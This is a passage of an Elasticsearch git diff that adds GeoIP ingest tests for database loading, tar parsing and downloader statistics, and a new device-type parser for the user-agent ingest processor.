org.elasticsearch.common.io.stream.Writeable; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.test.AbstractSerializingTestCase; + +import java.io.IOException; + +public class GeoIpTaskStateSerializationTests extends AbstractSerializingTestCase { + @Override + protected GeoIpTaskState doParseInstance(XContentParser parser) throws IOException { + return GeoIpTaskState.fromXContent(parser); + } + + @Override + protected Writeable.Reader instanceReader() { + return GeoIpTaskState::new; + } + + @Override + protected GeoIpTaskState createTestInstance() { + GeoIpTaskState state = GeoIpTaskState.EMPTY; + int databaseCount = randomInt(20); + for (int i = 0; i < databaseCount; i++) { + GeoIpTaskState.Metadata metadata = new GeoIpTaskState.Metadata(randomLong(), randomInt(), randomInt(), randomAlphaOfLength(32)); + state = state.put(randomAlphaOfLengthBetween(5, 10), metadata); + } + return state; + } +} diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/LocalDatabasesTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/LocalDatabasesTests.java new file mode 100644 index 0000000000000..4fca6e86be636 --- /dev/null +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/LocalDatabasesTests.java @@ -0,0 +1,170 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import com.maxmind.geoip2.model.CityResponse; +import org.elasticsearch.common.network.InetAddresses; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.unit.TimeValue; +import org.elasticsearch.test.ESTestCase; +import org.elasticsearch.threadpool.TestThreadPool; +import org.elasticsearch.threadpool.ThreadPool; +import org.elasticsearch.watcher.ResourceWatcherService; +import org.junit.After; +import org.junit.Before; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; + +import static org.hamcrest.Matchers.equalTo; + +public class LocalDatabasesTests extends ESTestCase { + + private ThreadPool threadPool; + private ResourceWatcherService resourceWatcherService; + + @Before + public void setup() { + threadPool = new TestThreadPool(LocalDatabases.class.getSimpleName()); + Settings settings = Settings.builder().put("resource.reload.interval.high", TimeValue.timeValueMillis(100)).build(); + resourceWatcherService = new ResourceWatcherService(settings, threadPool); + } + + @After + public void cleanup() { + resourceWatcherService.close(); + threadPool.shutdownNow(); + } + + public void testLocalDatabasesEmptyConfig() throws Exception { + Path configDir = createTempDir(); + LocalDatabases localDatabases = new LocalDatabases(prepareModuleDir(), configDir, new GeoIpCache(0)); + localDatabases.initialize(resourceWatcherService); + + assertThat(localDatabases.getDefaultDatabases().size(), equalTo(3)); + assertThat(localDatabases.getConfigDatabases().size(), equalTo(0)); + DatabaseReaderLazyLoader loader = localDatabases.getDatabase("GeoLite2-ASN.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-ASN")); + + loader = localDatabases.getDatabase("GeoLite2-City.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-City")); + + loader = localDatabases.getDatabase("GeoLite2-Country.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-Country")); + } + + public void testDatabasesConfigDir() throws Exception { + Path configDir = createTempDir(); + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoIP2-City-Test.mmdb"), configDir.resolve("GeoIP2-City.mmdb")); + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-City-Test.mmdb"), configDir.resolve("GeoLite2-City.mmdb")); + + LocalDatabases localDatabases = new LocalDatabases(prepareModuleDir(), configDir, new GeoIpCache(0)); + localDatabases.initialize(resourceWatcherService); + + assertThat(localDatabases.getDefaultDatabases().size(), equalTo(3)); + assertThat(localDatabases.getConfigDatabases().size(), equalTo(2)); + DatabaseReaderLazyLoader loader = localDatabases.getDatabase("GeoLite2-ASN.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-ASN")); + + loader = localDatabases.getDatabase("GeoLite2-City.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-City")); + + loader = localDatabases.getDatabase("GeoLite2-Country.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-Country")); + + loader = localDatabases.getDatabase("GeoIP2-City.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoIP2-City")); + } + + public void testDatabasesDynamicUpdateConfigDir() throws Exception { + Path configDir = createTempDir(); + LocalDatabases localDatabases = new LocalDatabases(prepareModuleDir(), configDir, new GeoIpCache(0)); + localDatabases.initialize(resourceWatcherService); + { + assertThat(localDatabases.getDefaultDatabases().size(), equalTo(3)); + DatabaseReaderLazyLoader loader = localDatabases.getDatabase("GeoLite2-ASN.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-ASN")); + + loader = localDatabases.getDatabase("GeoLite2-City.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-City")); + + loader = localDatabases.getDatabase("GeoLite2-Country.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-Country")); + } + + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoIP2-City-Test.mmdb"), configDir.resolve("GeoIP2-City.mmdb")); + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-City-Test.mmdb"), configDir.resolve("GeoLite2-City.mmdb")); + assertBusy(() -> { + assertThat(localDatabases.getDefaultDatabases().size(), equalTo(3)); + assertThat(localDatabases.getConfigDatabases().size(), equalTo(2)); + DatabaseReaderLazyLoader loader = localDatabases.getDatabase("GeoLite2-ASN.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-ASN")); + + loader = localDatabases.getDatabase("GeoLite2-City.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-City")); + + loader = localDatabases.getDatabase("GeoLite2-Country.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-Country")); + + loader = localDatabases.getDatabase("GeoIP2-City.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoIP2-City")); + }); + } + + public void testDatabasesUpdateExistingConfDatabase() throws Exception { + Path configDir = createTempDir(); + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-City.mmdb"), configDir.resolve("GeoLite2-City.mmdb")); + GeoIpCache cache = new GeoIpCache(1000); // real cache to test purging of entries upon a reload + LocalDatabases localDatabases = new LocalDatabases(prepareModuleDir(), configDir, cache); + localDatabases.initialize(resourceWatcherService); + { + assertThat(cache.count(), equalTo(0)); + assertThat(localDatabases.getDefaultDatabases().size(), equalTo(3)); + assertThat(localDatabases.getConfigDatabases().size(), equalTo(1)); + + DatabaseReaderLazyLoader loader = localDatabases.getDatabase("GeoLite2-City.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-City")); + CityResponse cityResponse = loader.getCity(InetAddresses.forString("89.160.20.128")); + assertThat(cityResponse.getCity().getName(), equalTo("Tumba")); + assertThat(cache.count(), equalTo(1)); + } + + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-City-Test.mmdb"), configDir.resolve("GeoLite2-City.mmdb"), + StandardCopyOption.REPLACE_EXISTING); + assertBusy(() -> { + assertThat(localDatabases.getDefaultDatabases().size(), equalTo(3)); + assertThat(localDatabases.getConfigDatabases().size(), equalTo(1)); + assertThat(cache.count(), equalTo(0)); + + DatabaseReaderLazyLoader loader = localDatabases.getDatabase("GeoLite2-City.mmdb", true); + assertThat(loader.getDatabaseType(), equalTo("GeoLite2-City")); + CityResponse cityResponse = loader.getCity(InetAddresses.forString("89.160.20.128")); + assertThat(cityResponse.getCity().getName(), equalTo("Linköping")); + assertThat(cache.count(), equalTo(1)); + }); + + Files.delete(configDir.resolve("GeoLite2-City.mmdb")); + assertBusy(() -> { + assertThat(localDatabases.getDefaultDatabases().size(), equalTo(3)); + assertThat(localDatabases.getConfigDatabases().size(), equalTo(0)); + assertThat(cache.count(), equalTo(0)); + }); + } + + private static Path prepareModuleDir() throws IOException { + Path dir = createTempDir(); + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-ASN.mmdb"), dir.resolve("GeoLite2-ASN.mmdb")); + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-City.mmdb"), dir.resolve("GeoLite2-City.mmdb")); + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-Country.mmdb"), dir.resolve("GeoLite2-Country.mmdb")); + return dir; + } + +} diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/TarInputStreamTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/TarInputStreamTests.java new file mode 100644 index 0000000000000..7173df65c5efd --- /dev/null +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/TarInputStreamTests.java @@ -0,0 +1,88 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import com.carrotsearch.randomizedtesting.annotations.Name; +import com.carrotsearch.randomizedtesting.annotations.ParametersFactory; +import org.elasticsearch.test.ESTestCase; + +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +public class TarInputStreamTests extends ESTestCase { + + private final String path; + private final List entries; + + public TarInputStreamTests(@Name("path") String path, @Name("entries") List entries) { + this.path = path; + this.entries = entries; + } + + public void test() throws IOException { + try (InputStream is = TarInputStreamTests.class.getResourceAsStream(path); + TarInputStream tis = new TarInputStream(is)) { + assertNotNull(is); + for (Entry entry : entries) { + TarInputStream.TarEntry tarEntry = tis.getNextEntry(); + assertEquals(entry.name, tarEntry.getName()); + if (entry.notFile == false) { + assertEquals(entry.data, new String(tis.readAllBytes(), StandardCharsets.UTF_8)); + } + assertEquals(entry.notFile, tarEntry.isNotFile()); + } + assertNull(tis.getNextEntry()); + } + } + + @ParametersFactory + public static Iterable parameters() throws Exception { + Object[][] entries = new Object[][]{ + createTest("tar1.tar", + new Entry("a.txt", "aaa\n", false)), + createTest("tar2.tar", + new Entry("a.txt", "aaa\n", false), + new Entry("b.txt", "bbbbbb\n", false)), + createTest("tar3.tar", + new Entry("c.txt", Stream.generate(() -> "-").limit(512).collect(Collectors.joining()), false), + new Entry("b.txt", "bbbbbb\n", false)), + createTest("tar4.tar", + new Entry("./", null, true), + new Entry("./b.txt", "bbb\n", false), + new Entry("./a.txt", "aaa\n", false)) + }; + return Arrays.asList(entries); + } + + private static Object[] createTest(String name, Entry... entries) { + return new Object[]{name, Arrays.asList(entries)}; + } + + private static class Entry { + String name; + String data; + boolean notFile; + + private Entry(String name, String data, boolean notFile) { + this.name = name; + this.data = data; + this.notFile = notFile; + } + + @Override + public String toString() { + return name; + } + } +} diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsActionNodeResponseSerializingTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsActionNodeResponseSerializingTests.java new file mode 100644 index 0000000000000..9a5046e503d58 --- /dev/null +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsActionNodeResponseSerializingTests.java @@ -0,0 +1,38 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip.stats; + +import org.elasticsearch.Version; +import org.elasticsearch.cluster.node.DiscoveryNode; +import org.elasticsearch.common.io.stream.Writeable; +import org.elasticsearch.test.AbstractWireSerializingTestCase; + +import java.util.Set; + +public class GeoIpDownloaderStatsActionNodeResponseSerializingTests extends + AbstractWireSerializingTestCase { + + @Override + protected Writeable.Reader instanceReader() { + return GeoIpDownloaderStatsAction.NodeResponse::new; + } + + @Override + protected GeoIpDownloaderStatsAction.NodeResponse createTestInstance() { + return createRandomInstance(); + } + + static GeoIpDownloaderStatsAction.NodeResponse createRandomInstance() { + DiscoveryNode node = new DiscoveryNode("id", buildNewFakeTransportAddress(), Version.CURRENT); + Set databases = Set.copyOf(randomList(10, () -> randomAlphaOfLengthBetween(5, 10))); + Set files = Set.copyOf(randomList(10, () -> randomAlphaOfLengthBetween(5, 10))); + return new GeoIpDownloaderStatsAction.NodeResponse(node, GeoIpDownloaderStatsSerializingTests.createRandomInstance(), databases, + files); + } +} diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsActionResponseSerializingTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsActionResponseSerializingTests.java new file mode 100644 index 0000000000000..b2066682c4d4b --- /dev/null +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsActionResponseSerializingTests.java @@ -0,0 +1,32 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip.stats; + +import org.elasticsearch.cluster.ClusterName; +import org.elasticsearch.common.io.stream.Writeable; +import org.elasticsearch.test.AbstractWireSerializingTestCase; + +import java.util.Collections; +import java.util.List; + +public class GeoIpDownloaderStatsActionResponseSerializingTests extends + AbstractWireSerializingTestCase { + + @Override + protected Writeable.Reader instanceReader() { + return GeoIpDownloaderStatsAction.Response::new; + } + + @Override + protected GeoIpDownloaderStatsAction.Response createTestInstance() { + List nodeResponses = randomList(10, + GeoIpDownloaderStatsActionNodeResponseSerializingTests::createRandomInstance); + return new GeoIpDownloaderStatsAction.Response(ClusterName.DEFAULT, nodeResponses, Collections.emptyList()); + } +} diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsSerializingTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsSerializingTests.java new file mode 100644 index 0000000000000..7bb30fd7c203b --- /dev/null +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStatsSerializingTests.java @@ -0,0 +1,50 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip.stats; + +import org.elasticsearch.common.io.stream.Writeable; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.test.AbstractSerializingTestCase; + +import java.io.IOException; + +public class GeoIpDownloaderStatsSerializingTests extends AbstractSerializingTestCase { + + @Override + protected GeoIpDownloaderStats doParseInstance(XContentParser parser) throws IOException { + return GeoIpDownloaderStats.fromXContent(parser); + } + + @Override + protected Writeable.Reader instanceReader() { + return GeoIpDownloaderStats::new; + } + + @Override + protected GeoIpDownloaderStats createTestInstance() { + return createRandomInstance(); + } + + static GeoIpDownloaderStats createRandomInstance() { + GeoIpDownloaderStats stats = GeoIpDownloaderStats.EMPTY.count(randomInt(1000)); + int successes = randomInt(20); + for (int i = 0; i < successes; i++) { + stats = stats.successfulDownload(randomLongBetween(0, 3000)); + } + int failures = randomInt(20); + for (int i = 0; i < failures; i++) { + stats = stats.failedDownload(); + } + int skipped = randomInt(20); + for (int i = 0; i < skipped; i++) { + stats = stats.skippedDownload(); + } + return stats; + } +} diff --git a/modules/ingest-geoip/src/test/resources/GeoIP2-City-Test.mmdb b/modules/ingest-geoip/src/test/resources/GeoIP2-City-Test.mmdb new file mode 100644 index 0000000000000..7ed43d616a85d Binary files /dev/null and b/modules/ingest-geoip/src/test/resources/GeoIP2-City-Test.mmdb differ diff --git a/modules/ingest-geoip/src/test/resources/GeoLite2-City-Test.mmdb b/modules/ingest-geoip/src/test/resources/GeoLite2-City-Test.mmdb new file mode 100644 index 0000000000000..0809201619b59 Binary files /dev/null and b/modules/ingest-geoip/src/test/resources/GeoLite2-City-Test.mmdb differ diff --git a/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar1.tar b/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar1.tar new file mode 100644 index 0000000000000..86e0aa3627085 Binary files /dev/null and b/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar1.tar differ diff --git a/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar2.tar b/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar2.tar new file mode 100644 index 0000000000000..ce2401c9d14d7 Binary files /dev/null and b/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar2.tar differ diff --git a/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar3.tar b/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar3.tar new file mode 100644 index 0000000000000..85f638baca76c Binary files /dev/null and b/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar3.tar differ diff --git a/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar4.tar b/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar4.tar new file mode 100644 index 0000000000000..2d6b4f5221107 Binary files /dev/null and b/modules/ingest-geoip/src/test/resources/org/elasticsearch/ingest/geoip/tar4.tar differ diff --git a/modules/ingest-geoip/src/yamlRestTest/resources/rest-api-spec/test/ingest_geoip/30_geoip_stats.yml b/modules/ingest-geoip/src/yamlRestTest/resources/rest-api-spec/test/ingest_geoip/30_geoip_stats.yml new file mode 100644 index 0000000000000..852b2047a47ec --- /dev/null +++ b/modules/ingest-geoip/src/yamlRestTest/resources/rest-api-spec/test/ingest_geoip/30_geoip_stats.yml @@ -0,0 +1,10 @@ +--- +"Test geoip stats": + - do: + ingest.geo_ip_stats: {} + - gte: { stats.successful_downloads: 0 } + - gte: { stats.failed_downloads: 0 } + - gte: { stats.skipped_updates: 0 } + - gte: { stats.databases_count: 0 } + - gte: { stats.total_download_time: 0 } + - is_true: nodes diff --git a/modules/ingest-user-agent/build.gradle b/modules/ingest-user-agent/build.gradle index 640d429e24e88..9082fed86be63 100644 --- a/modules/ingest-user-agent/build.gradle +++ b/modules/ingest-user-agent/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'Ingest processor that extracts information from a user agent' @@ -14,7 +15,7 @@ esplugin { restResources { restApi { - includeCore '_common', 'indices', 'index', 'cluster', 'nodes', 'get', 'ingest' + include '_common', 'indices', 'index', 'cluster', 'nodes', 'get', 'ingest' } } @@ -22,3 +23,10 @@ testClusters.all { extraConfigFile 'ingest-user-agent/test-regexes.yml', file('src/test/test-regexes.yml') } +tasks.named("yamlRestCompatTest").configure { + systemProperty 'tests.rest.blacklist', [ + 'ingest-useragent/30_custom_regex/Test user agent processor with custom regex file', + 'ingest-useragent/20_useragent_processor/Test user agent processor with defaults', + 'ingest-useragent/20_useragent_processor/Test user agent processor with parameters' + ].join(',') +} diff --git a/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/DeviceTypeParser.java b/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/DeviceTypeParser.java new file mode 100644 index 0000000000000..0108e428ba451 --- /dev/null +++ b/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/DeviceTypeParser.java @@ -0,0 +1,179 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.useragent; + +import org.elasticsearch.ElasticsearchParseException; +import org.elasticsearch.common.xcontent.LoggingDeprecationHandler; +import org.elasticsearch.common.xcontent.NamedXContentRegistry; +import org.elasticsearch.common.xcontent.XContentFactory; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.common.xcontent.XContentType; + +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.elasticsearch.ingest.useragent.UserAgentParser.readParserConfigurations; +import static org.elasticsearch.ingest.useragent.UserAgentParser.VersionedName; + +public class DeviceTypeParser { + + private static final String OS_PARSERS = "os_parsers"; + private static final String BROWSER_PARSER = "browser_parsers"; + private static final String DEVICE_PARSER = "device_parsers"; + private static final String AGENT_STRING_PARSER = "agent_string_parsers"; + private static final String robot = "Robot", tablet = "Tablet", desktop = "Desktop", phone = "Phone"; + + private final List patternListKeys = List.of(OS_PARSERS, BROWSER_PARSER, DEVICE_PARSER, AGENT_STRING_PARSER); + + private final HashMap> deviceTypePatterns = new HashMap<>(); + + public void init(InputStream regexStream) throws IOException { + // EMPTY is safe here because we don't use namedObject + XContentParser yamlParser = XContentFactory.xContent(XContentType.YAML).createParser(NamedXContentRegistry.EMPTY, + LoggingDeprecationHandler.INSTANCE, regexStream); + + XContentParser.Token token = yamlParser.nextToken(); + + if (token == XContentParser.Token.START_OBJECT) { + token = yamlParser.nextToken(); + + for (; token != null; token = yamlParser.nextToken()) { + String currentName = yamlParser.currentName(); + if (token == XContentParser.Token.FIELD_NAME && patternListKeys.contains(currentName)) { + List> parserConfigurations = readParserConfigurations(yamlParser); + ArrayList subPatterns = new ArrayList<>(); + for (Map map : parserConfigurations) { + subPatterns.add(new DeviceTypeSubPattern(Pattern.compile((map.get("regex"))), + map.get("replacement"))); + } + deviceTypePatterns.put(currentName, subPatterns); + } + } + } + + if (patternListKeys.size() != deviceTypePatterns.size()) { + throw new ElasticsearchParseException("not a valid regular expression file"); + } + } + + public String findDeviceType(String agentString, VersionedName userAgent, VersionedName os, VersionedName device) { + if (deviceTypePatterns.isEmpty()) { + return null; + } + if (agentString != null) { + String deviceType = findMatch(deviceTypePatterns.get(AGENT_STRING_PARSER), agentString); + if (deviceType != null) { + return deviceType; + } + } + return findDeviceType(userAgent, os, device); + } + + public String findDeviceType(VersionedName userAgent, VersionedName os, VersionedName device) { + + if (deviceTypePatterns.isEmpty()) { + return null; + } + + ArrayList extractedDeviceTypes = new ArrayList<>(); + + for (String patternKey : patternListKeys) { + String deviceType = null; + switch (patternKey) { + case OS_PARSERS: + if (os != null && os.name != null) { + deviceType = findMatch(deviceTypePatterns.get(patternKey), os.name); + } + break; + case BROWSER_PARSER: + if (userAgent != null && userAgent.name != null) { + deviceType = findMatch(deviceTypePatterns.get(patternKey), userAgent.name); + } + break; + case DEVICE_PARSER: + if (device != null && device.name != null) { + deviceType = findMatch(deviceTypePatterns.get(patternKey), device.name); + } + break; + default: + break; + } + + if (deviceType != null) { + extractedDeviceTypes.add(deviceType); + } + } + + + if (extractedDeviceTypes.contains(robot)) { + return robot; + } + if (extractedDeviceTypes.contains(tablet)) { + return tablet; + } + if (extractedDeviceTypes.contains(phone)) { + return phone; + } + if (extractedDeviceTypes.contains(desktop)) { + return desktop; + } + + return "Other"; + } + + private String findMatch(List possiblePatterns, String matchString) { + String name; + for (DeviceTypeSubPattern pattern : possiblePatterns) { + name = pattern.match(matchString); + if (name != null) { + return name; + } + } + return null; + } + + static final class DeviceTypeSubPattern { + private final Pattern pattern; + private final String nameReplacement; + + DeviceTypeSubPattern(Pattern pattern, String nameReplacement) { + this.pattern = pattern; + this.nameReplacement = nameReplacement; + } + + public String match(String matchString) { + String name = null; + + Matcher matcher = pattern.matcher(matchString); + + if (matcher.find() == false) { + return null; + } + + int groupCount = matcher.groupCount(); + + if (nameReplacement != null) { + if (nameReplacement.contains("$1") && groupCount >= 1 && matcher.group(1) != null) { + name = nameReplacement.replaceFirst("\\$1", Matcher.quoteReplacement(matcher.group(1))); + } else { + name = nameReplacement; + } + } + + return name; + } + } + +} diff --git a/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/IngestUserAgentPlugin.java b/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/IngestUserAgentPlugin.java index c49b57442436f..dfaed02a2323e 100644 --- a/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/IngestUserAgentPlugin.java +++ b/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/IngestUserAgentPlugin.java @@ -55,7 +55,8 @@ static Map createUserAgentParsers(Path userAgentConfigD Map userAgentParsers = new HashMap<>(); UserAgentParser defaultParser = new UserAgentParser(DEFAULT_PARSER_NAME, - IngestUserAgentPlugin.class.getResourceAsStream("/regexes.yml"), cache); + IngestUserAgentPlugin.class.getResourceAsStream("/regexes.yml"), + IngestUserAgentPlugin.class.getResourceAsStream("/device_type_regexes.yml"), cache); userAgentParsers.put(DEFAULT_PARSER_NAME, defaultParser); if (Files.exists(userAgentConfigDirectory) && Files.isDirectory(userAgentConfigDirectory)) { @@ -66,8 +67,9 @@ static Map createUserAgentParsers(Path userAgentConfigD Iterable iterable = regexFiles::iterator; for (Path path : iterable) { String parserName = path.getFileName().toString(); - try (InputStream regexStream = Files.newInputStream(path, StandardOpenOption.READ)) { - userAgentParsers.put(parserName, new UserAgentParser(parserName, regexStream, cache)); + try (InputStream regexStream = Files.newInputStream(path, StandardOpenOption.READ); + InputStream deviceTypeRegexStream = IngestUserAgentPlugin.class.getResourceAsStream("/device_type_regexes.yml")) { + userAgentParsers.put(parserName, new UserAgentParser(parserName, regexStream, deviceTypeRegexStream, cache)); } } } diff --git a/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/UserAgentParser.java b/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/UserAgentParser.java index 9ef2c51c3d422..c142f93ef8d98 100644 --- a/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/UserAgentParser.java +++ b/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/UserAgentParser.java @@ -26,17 +26,21 @@ final class UserAgentParser { private final UserAgentCache cache; + private final DeviceTypeParser deviceTypeParser = new DeviceTypeParser(); private final List uaPatterns = new ArrayList<>(); private final List osPatterns = new ArrayList<>(); private final List devicePatterns = new ArrayList<>(); private final String name; - UserAgentParser(String name, InputStream regexStream, UserAgentCache cache) { + UserAgentParser(String name, InputStream regexStream, InputStream deviceTypeRegexStream, UserAgentCache cache) { this.name = name; this.cache = cache; try { init(regexStream); + if (deviceTypeRegexStream != null) { + deviceTypeParser.init(deviceTypeRegexStream); + } } catch (IOException e) { throw new ElasticsearchParseException("error parsing regular expression file", e); } @@ -96,8 +100,8 @@ private Pattern compilePattern(String regex, String regex_flag) { } } - private List> readParserConfigurations(XContentParser yamlParser) throws IOException { - List > patternList = new ArrayList<>(); + static List> readParserConfigurations(XContentParser yamlParser) throws IOException { + List> patternList = new ArrayList<>(); XContentParser.Token token = yamlParser.nextToken(); if (token != XContentParser.Token.START_ARRAY) { @@ -149,16 +153,15 @@ String getName() { return name; } - public Details parse(String agentString) { + public Details parse(String agentString, boolean extractDeviceType) { Details details = cache.get(name, agentString); if (details == null) { VersionedName userAgent = findMatch(uaPatterns, agentString); VersionedName operatingSystem = findMatch(osPatterns, agentString); VersionedName device = findMatch(devicePatterns, agentString); - - details = new Details(userAgent, operatingSystem, device); - + String deviceType = extractDeviceType ? deviceTypeParser.findDeviceType(agentString, userAgent, operatingSystem, device) : null; + details = new Details(userAgent, operatingSystem, device, deviceType); cache.put(name, agentString, details); } @@ -182,11 +185,13 @@ static final class Details { public final VersionedName userAgent; public final VersionedName operatingSystem; public final VersionedName device; + public final String deviceType; - Details(VersionedName userAgent, VersionedName operatingSystem, VersionedName device) { + Details(VersionedName userAgent, VersionedName operatingSystem, VersionedName device, String deviceType) { this.userAgent = userAgent; this.operatingSystem = operatingSystem; this.device = device; + this.deviceType = deviceType; } } diff --git a/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/UserAgentProcessor.java b/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/UserAgentProcessor.java index 8c24e9f96bd3c..fd6023e841db7 100644 --- a/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/UserAgentProcessor.java +++ b/modules/ingest-user-agent/src/main/java/org/elasticsearch/ingest/useragent/UserAgentProcessor.java @@ -38,18 +38,24 @@ public class UserAgentProcessor extends AbstractProcessor { private final String targetField; private final Set properties; private final UserAgentParser parser; + private final boolean extractDeviceType; private final boolean ignoreMissing; public UserAgentProcessor(String tag, String description, String field, String targetField, UserAgentParser parser, - Set properties, boolean ignoreMissing) { + Set properties, boolean extractDeviceType, boolean ignoreMissing) { super(tag, description); this.field = field; this.targetField = targetField; this.parser = parser; this.properties = properties; + this.extractDeviceType = extractDeviceType; this.ignoreMissing = ignoreMissing; } + boolean isExtractDeviceType() { + return extractDeviceType; + } + boolean isIgnoreMissing() { return ignoreMissing; } @@ -64,7 +70,7 